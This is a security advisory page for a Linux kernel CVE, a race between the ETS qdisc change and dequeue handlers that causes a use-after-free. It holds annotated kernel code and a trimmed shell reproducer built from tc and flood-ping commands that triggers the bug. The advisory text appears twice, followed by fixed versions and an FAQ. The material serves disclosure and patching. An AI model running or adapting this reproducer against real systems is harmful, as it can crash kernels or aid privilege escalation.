CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in etsqdiscchange
zdi-disclosures says:
The vulnerability is a race condition between etsqdiscdequeue and etsqdiscchange. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int etsqdiscchange(struct Qdisc sch, struct nlattr opt, struct netlinkextack extack) { ...
// (1) this lock is preventing .change handler (etsqdiscchange) //to race with .dequeue handler (etsqdiscdequeue) schtreelock(sch);
for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) listdelinit(&q->classes[i].alist); qdiscpurgequeue(q->classes[i].qdisc); }
WRITEONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active listaddtail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITEONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITEONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noopqdisc) qdischashadd(q->classes[i].qdisc, true); }
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler schtreeunlock(sch);
etsoffloadchange(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdiscput(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITEONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnetstatsbasicsyncinit(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by zdi-disclosures)
DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}"
SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}"
cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBFLAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PINGDST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
Other sources
In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in etsqdiscchange
zdi-disclosures@trendmicro.com says:
The vulnerability is a race condition between etsqdiscdequeue and etsqdiscchange. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int etsqdiscchange(struct Qdisc sch, struct nlattr opt, struct netlinkextack extack) { ...
// (1) this lock is preventing .change handler (etsqdiscchange) //to race with .dequeue handler (etsqdiscdequeue) schtreelock(sch);
for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) listdelinit(&q->classes[i].alist); qdiscpurgequeue(q->classes[i].qdisc); }
WRITEONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active listaddtail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITEONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITEONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noopqdisc) qdischashadd(q->classes[i].qdisc, true); }
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler schtreeunlock(sch);
etsoffloadchange(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdiscput(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITEONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnetstatsbasicsyncinit(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)
DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}"
SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}"
cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBFLAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PINGDST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
linux/Kernelto a version that resolves this vulnerability.Fixed in 5.10.248 - Upgrade
Upgrade
linux/Kernelto a version that resolves this vulnerability.Fixed in 5.15.198 - Upgrade
Upgrade
linux/Kernelto a version that resolves this vulnerability.Fixed in 6.1.160 - Upgrade
Upgrade
linux/Kernelto a version that resolves this vulnerability.Fixed in 6.12.64 - Upgrade
Upgrade
linux/Kernelto a version that resolves this vulnerability.Fixed in 6.18.3 - Upgrade
Upgrade
debian/linuxto a version that resolves this vulnerability.Fixed in 6.1.176-1Fixed in 6.1.190-1Fixed in 6.12.107-1Fixed in 6.12.113-1Fixed in 7.2.12-1Fixed in 7.2.14-1
Event History
Frequently Asked Questions
What is the severity of CVE-2025-71066?
CVE-2025-71066 has been classified as a medium severity vulnerability in the Linux kernel.
How do I fix CVE-2025-71066?
To fix CVE-2025-71066, ensure your Linux kernel is updated to a version that includes the patch addressing this vulnerability.
What is the impact of CVE-2025-71066?
The impact of CVE-2025-71066 is that it can allow improper management of classes in the queuing discipline, potentially leading to denial of service.
Which versions of the Linux kernel are affected by CVE-2025-71066?
Currently, the specific versions of the Linux kernel affected by CVE-2025-71066 are to be determined as no exact version is specified.
Is CVE-2025-71066 already exploited in the wild?
As of now, there are no reported exploits in the wild for CVE-2025-71066.